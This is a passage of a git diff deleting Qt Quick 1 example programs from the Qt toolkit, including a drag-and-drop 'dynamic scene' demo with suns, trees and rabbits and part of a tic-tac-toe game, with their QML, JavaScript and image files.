a/examples/declarative/qtquick1/toys/corkboards/note-yellow.png b/examples/declarative/qtquick1/toys/corkboards/note-yellow.png deleted file mode 100644 index 8ddecc8b03..0000000000 Binary files a/examples/declarative/qtquick1/toys/corkboards/note-yellow.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/corkboards/tack.png b/examples/declarative/qtquick1/toys/corkboards/tack.png deleted file mode 100644 index cef2d1cd23..0000000000 Binary files a/examples/declarative/qtquick1/toys/corkboards/tack.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/dynamicscene/dynamicscene.qml b/examples/declarative/qtquick1/toys/dynamicscene/dynamicscene.qml deleted file mode 100644 index e153034294..0000000000 --- a/examples/declarative/qtquick1/toys/dynamicscene/dynamicscene.qml +++ /dev/null @@ -1,224 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import Qt.labs.particles 1.0 -import "qml" - -Item { - id: window - - property int activeSuns: 0 - - //This is a desktop-sized example - width: 800; height: 480 - - - MouseArea { - anchors.fill: parent - onClicked: window.focus = false; - } - - //This is the message box that pops up when there's an error - Rectangle { - id: dialog - - opacity: 0 - anchors.centerIn: parent - width: dialogText.width + 6; height: dialogText.height + 6 - border.color: 'black' - color: 'lightsteelblue' - z: 65535 //Arbitrary number chosen to be above all the items, including the scaled perspective ones. - - function show(str){ - dialogText.text = str; - dialogAnim.start(); - } - - Text { - id: dialogText - x: 3; y: 3 - font.pixelSize: 14 - } - - SequentialAnimation { - id: dialogAnim - NumberAnimation { target: dialog; property:"opacity"; to: 1; duration: 1000 } - PauseAnimation { duration: 5000 } - NumberAnimation { target: dialog; property:"opacity"; to: 0; duration: 1000 } - } - } - - // sky - Rectangle { - id: sky - anchors { left: parent.left; top: parent.top; right: toolbox.right; bottom: parent.verticalCenter } - gradient: Gradient { - GradientStop { id: gradientStopA; position: 0.0; color: "#0E1533" } - GradientStop { id: gradientStopB; position: 1.0; color: "#437284" } - } - } - - // stars (when there's no sun) - Particles { - id: stars - x: 0; y: 0; width: parent.width; height: parent.height / 2 - source: "images/star.png" - angleDeviation: 360 - velocity: 0; velocityDeviation: 0 - count: parent.width / 10 - fadeInDuration: 2800 - opacity: 1 - } - - // ground - Rectangle { - id: ground - z: 2 // just above the sun so that the sun can set behind it - anchors { left: parent.left; top: parent.verticalCenter; right: toolbox.left; bottom: parent.bottom } - gradient: Gradient { - GradientStop { position: 0.0; color: "ForestGreen" } - GradientStop { position: 1.0; color: "DarkGreen" } - } - } - - SystemPalette { id: activePalette } - - // right-hand panel - Rectangle { - id: toolbox - - width: 380 - color: activePalette.window - anchors { right: parent.right; top: parent.top; bottom: parent.bottom } - - Column { - anchors.centerIn: parent - spacing: 8 - - Text { text: "Drag an item into the scene." } - - Rectangle { - width: palette.width + 10; height: palette.height + 10 - border.color: "black" - - Row { - id: palette - anchors.centerIn: parent - spacing: 8 - - PaletteItem { - anchors.verticalCenter: parent.verticalCenter - componentFile: "Sun.qml" - image: "../images/sun.png" - } - PaletteItem { - anchors.verticalCenter: parent.verticalCenter - componentFile: "GenericSceneItem.qml" - image: "../images/moon.png" - } - PaletteItem { - anchors.verticalCenter: parent.verticalCenter - componentFile: "PerspectiveItem.qml" - image: "../images/tree_s.png" - } - PaletteItem { - anchors.verticalCenter: parent.verticalCenter - componentFile: "PerspectiveItem.qml" - image: "../images/rabbit_brown.png" - } - PaletteItem { - anchors.verticalCenter: parent.verticalCenter - componentFile: "PerspectiveItem.qml" - image: "../images/rabbit_bw.png" - } - } - } - - Text { text: "Active Suns: " + activeSuns } - - Rectangle { width: parent.width; height: 1; color: "black" } - - Text { text: "Arbitrary QML:" } - - Rectangle { - width: 360; height: 240 - - TextEdit { - id: qmlText - anchors.fill: parent; anchors.margins: 5 - readOnly: false - font.pixelSize: 14 - wrapMode: TextEdit.WordWrap - - text: "import QtQuick 1.0\nImage {\n id: smile\n x: 360 * Math.random()\n y: 180 * Math.random() \n source: 'images/face-smile.png'\n NumberAnimation on opacity { \n to: 0; duration: 1500\n }\n Component.onCompleted: smile.destroy(1500);\n}" - } - } - - Button { - text: "Create" - onClicked: { - try { - Qt.createQmlObject(qmlText.text, window, 'CustomObject'); - } catch(err) { - dialog.show('Error on line ' + err.qmlErrors[0].lineNumber + '\n' + err.qmlErrors[0].message); - } - } - } - } - } - - //Day state, for when a sun is added to the scene - states: State { - name: "Day" - when: window.activeSuns > 0 - - PropertyChanges { target: gradientStopA; color: "DeepSkyBlue" } - PropertyChanges { target: gradientStopB; color: "SkyBlue" } - PropertyChanges { target: stars; opacity: 0 } - } - - //! [top-level transitions] - transitions: Transition { - PropertyAnimation { duration: 3000 } - ColorAnimation { duration: 3000 } - } - //! [top-level transitions] -} diff --git a/examples/declarative/qtquick1/toys/dynamicscene/dynamicscene.qmlproject b/examples/declarative/qtquick1/toys/dynamicscene/dynamicscene.qmlproject deleted file mode 100644 index 52ac474383..0000000000 --- a/examples/declarative/qtquick1/toys/dynamicscene/dynamicscene.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "dynamicscene.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/toys/dynamicscene/images/NOTE b/examples/declarative/qtquick1/toys/dynamicscene/images/NOTE deleted file mode 100644 index fcd87f9132..0000000000 --- a/examples/declarative/qtquick1/toys/dynamicscene/images/NOTE +++ /dev/null @@ -1 +0,0 @@ -Images (except star.png) are from the KDE project. diff --git a/examples/declarative/qtquick1/toys/dynamicscene/images/face-smile.png b/examples/declarative/qtquick1/toys/dynamicscene/images/face-smile.png deleted file mode 100644 index 3d66d72578..0000000000 Binary files a/examples/declarative/qtquick1/toys/dynamicscene/images/face-smile.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/dynamicscene/images/moon.png b/examples/declarative/qtquick1/toys/dynamicscene/images/moon.png deleted file mode 100644 index 1c0d6066a8..0000000000 Binary files a/examples/declarative/qtquick1/toys/dynamicscene/images/moon.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/dynamicscene/images/rabbit_brown.png b/examples/declarative/qtquick1/toys/dynamicscene/images/rabbit_brown.png deleted file mode 100644 index ebfdeed332..0000000000 Binary files a/examples/declarative/qtquick1/toys/dynamicscene/images/rabbit_brown.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/dynamicscene/images/rabbit_bw.png b/examples/declarative/qtquick1/toys/dynamicscene/images/rabbit_bw.png deleted file mode 100644 index 7bff9b92ca..0000000000 Binary files a/examples/declarative/qtquick1/toys/dynamicscene/images/rabbit_bw.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/dynamicscene/images/star.png b/examples/declarative/qtquick1/toys/dynamicscene/images/star.png deleted file mode 100644 index 27ef924267..0000000000 Binary files a/examples/declarative/qtquick1/toys/dynamicscene/images/star.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/dynamicscene/images/sun.png b/examples/declarative/qtquick1/toys/dynamicscene/images/sun.png deleted file mode 100644 index 7713ca5ce7..0000000000 Binary files a/examples/declarative/qtquick1/toys/dynamicscene/images/sun.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/dynamicscene/images/tree_s.png b/examples/declarative/qtquick1/toys/dynamicscene/images/tree_s.png deleted file mode 100644 index 6eac35a729..0000000000 Binary files a/examples/declarative/qtquick1/toys/dynamicscene/images/tree_s.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/dynamicscene/qml/Button.qml b/examples/declarative/qtquick1/toys/dynamicscene/qml/Button.qml deleted file mode 100644 index a9d3199b48..0000000000 --- a/examples/declarative/qtquick1/toys/dynamicscene/qml/Button.qml +++ /dev/null @@ -1,80 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: container - - property variant text - signal clicked - - height: text.height + 10; width: text.width + 20 - border.width: 1 - radius: 4 - smooth: true - - gradient: Gradient { - GradientStop { - position: 0.0 - color: !mouseArea.pressed ? activePalette.light : activePalette.button - } - GradientStop { - position: 1.0 - color: !mouseArea.pressed ? activePalette.button : activePalette.dark - } - } - - SystemPalette { id: activePalette } - - MouseArea { - id: mouseArea - anchors.fill: parent - onClicked: container.clicked() - } - - Text { - id: text - anchors.centerIn:parent - font.pointSize: 10 - text: parent.text - color: activePalette.buttonText - } -} diff --git a/examples/declarative/qtquick1/toys/dynamicscene/qml/GenericSceneItem.qml b/examples/declarative/qtquick1/toys/dynamicscene/qml/GenericSceneItem.qml deleted file mode 100644 index 139747048f..0000000000 --- a/examples/declarative/qtquick1/toys/dynamicscene/qml/GenericSceneItem.qml +++ /dev/null @@ -1,49 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Image { - property bool created: false - property string image - - source: image - -} diff --git a/examples/declarative/qtquick1/toys/dynamicscene/qml/PaletteItem.qml b/examples/declarative/qtquick1/toys/dynamicscene/qml/PaletteItem.qml deleted file mode 100644 index 45540f58ad..0000000000 --- a/examples/declarative/qtquick1/toys/dynamicscene/qml/PaletteItem.qml +++ /dev/null @@ -1,59 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "itemCreation.js" as Code - -Image { - id: paletteItem - - property string componentFile - property string image - - source: image - - MouseArea { - anchors.fill: parent - - onPressed: Code.startDrag(mouse); - onPositionChanged: Code.continueDrag(mouse); - onReleased: Code.endDrag(mouse); - } -} diff --git a/examples/declarative/qtquick1/toys/dynamicscene/qml/PerspectiveItem.qml b/examples/declarative/qtquick1/toys/dynamicscene/qml/PerspectiveItem.qml deleted file mode 100644 index 0956572e7f..0000000000 --- a/examples/declarative/qtquick1/toys/dynamicscene/qml/PerspectiveItem.qml +++ /dev/null @@ -1,65 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Image { - id: rootItem - - property bool created: false - property string image - - property double scaledBottom: y + (height + height*scale) / 2 - property bool onLand: scaledBottom > window.height / 2 - - source: image - opacity: onLand ? 1 : 0.25 - scale: Math.max((y + height - 250) * 0.01, 0.3) - smooth: true - - onCreatedChanged: { - if (created && !onLand) - rootItem.destroy(); - else - z = scaledBottom; - } - - onYChanged: z = scaledBottom; -} diff --git a/examples/declarative/qtquick1/toys/dynamicscene/qml/Sun.qml b/examples/declarative/qtquick1/toys/dynamicscene/qml/Sun.qml deleted file mode 100644 index 505b3fdb01..0000000000 --- a/examples/declarative/qtquick1/toys/dynamicscene/qml/Sun.qml +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Image { - id: sun - - property bool created: false - property string image: "../images/sun.png" - - source: image - - // once item is created, start moving offscreen - NumberAnimation on y { - to: window.height / 2 - running: created - onRunningChanged: { - if (running) - duration = (window.height - sun.y) * 10; - else - state = "OffScreen" - } - } - - states: State { - name: "OffScreen" - StateChangeScript { - script: { sun.created = false; sun.destroy() } - } - } - - onCreatedChanged: { - if (created) { - sun.z = 1; // above the sky but below the ground layer - window.activeSuns++; - } else { - window.activeSuns--; - } - } -} diff --git a/examples/declarative/qtquick1/toys/dynamicscene/qml/itemCreation.js b/examples/declarative/qtquick1/toys/dynamicscene/qml/itemCreation.js deleted file mode 100644 index b96f3a5e39..0000000000 --- a/examples/declarative/qtquick1/toys/dynamicscene/qml/itemCreation.js +++ /dev/null @@ -1,62 +0,0 @@ -var itemComponent = null; -var draggedItem = null; -var startingMouse; -var posnInWindow; - -function startDrag(mouse) -{ - posnInWindow = paletteItem.mapToItem(window, 0, 0); - startingMouse = { x: mouse.x, y: mouse.y } - loadComponent(); -} - -//Creation is split into two functions due to an asynchronous wait while -//possible external files are loaded. - -function loadComponent() { - if (itemComponent != null) { // component has been previously loaded - createItem(); - return; - } - - itemComponent = Qt.createComponent(paletteItem.componentFile); - if (itemComponent.status == Component.Loading) //Depending on the content, it can be ready or error immediately - component.statusChanged.connect(createItem); - else - createItem(); -} - -function createItem() { - if (itemComponent.status == Component.Ready && draggedItem == null) { - draggedItem = itemComponent.createObject(window, {"image": paletteItem.image, "x": posnInWindow.x, "y": posnInWindow.y, "z": 3}); - // make sure created item is above the ground layer - } else if (itemComponent.status == Component.Error) { - draggedItem = null; - console.log("error creating component"); - console.log(itemComponent.errorString()); - } -} - -function continueDrag(mouse) -{ - if (draggedItem == null) - return; - - draggedItem.x = mouse.x + posnInWindow.x - startingMouse.x; - draggedItem.y = mouse.y + posnInWindow.y - startingMouse.y; -} - -function endDrag(mouse) -{ - if (draggedItem == null) - return; - - if (draggedItem.x + draggedItem.width > toolbox.x) { //Don't drop it in the toolbox - draggedItem.destroy(); - draggedItem = null; - } else { - draggedItem.created = true; - draggedItem = null; - } -} - diff --git a/examples/declarative/qtquick1/toys/tic-tac-toe/content/Button.qml b/examples/declarative/qtquick1/toys/tic-tac-toe/content/Button.qml deleted file mode 100644 index 01f2c61aad..0000000000 --- a/examples/declarative/qtquick1/toys/tic-tac-toe/content/Button.qml +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: container - - property string text - property bool pressed: false - - signal clicked - - width: buttonLabel.width + 20; height: buttonLabel.height + 6 - border { width: 1; color: Qt.darker(container.color) } - radius: 8 - color: "lightgray" - smooth: true - - gradient: Gradient { - GradientStop { - position: 0.0 - color: container.pressed ? "darkgray" : "white" - } - GradientStop { - position: 1.0 - color: container.color - } - } - - MouseArea { - anchors.fill: parent - onClicked: container.clicked() - } - - Text { - id: buttonLabel - anchors.centerIn: container - text: container.text - font.pixelSize: 14 - } -} diff --git a/examples/declarative/qtquick1/toys/tic-tac-toe/content/TicTac.qml b/examples/declarative/qtquick1/toys/tic-tac-toe/content/TicTac.qml deleted file mode 100644 index 67b0402a98..0000000000 --- a/examples/declarative/qtquick1/toys/tic-tac-toe/content/TicTac.qml +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - signal clicked - - states: [ - State { name: "X"; PropertyChanges { target: image; source: "pics/x.png" } }, - State { name: "O"; PropertyChanges { target: image; source: "pics/o.png" } } - ] - - Image { - id: image - anchors.centerIn: parent - } - - MouseArea { - anchors.fill: parent - onClicked: parent.clicked() - } -} diff --git a/examples/declarative/qtquick1/toys/tic-tac-toe/content/pics/board.png b/examples/declarative/qtquick1/toys/tic-tac-toe/content/pics/board.png deleted file mode 100644 index 7e5b7ba27c..0000000000 Binary files a/examples/declarative/qtquick1/toys/tic-tac-toe/content/pics/board.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/tic-tac-toe/content/pics/o.png b/examples/declarative/qtquick1/toys/tic-tac-toe/content/pics/o.png deleted file mode 100644 index abc7ee020b..0000000000 Binary files a/examples/declarative/qtquick1/toys/tic-tac-toe/content/pics/o.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/tic-tac-toe/content/pics/x.png b/examples/declarative/qtquick1/toys/tic-tac-toe/content/pics/x.png deleted file mode 100644 index ddc65c83b8..0000000000 Binary files a/examples/declarative/qtquick1/toys/tic-tac-toe/content/pics/x.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/tic-tac-toe/content/tic-tac-toe.js 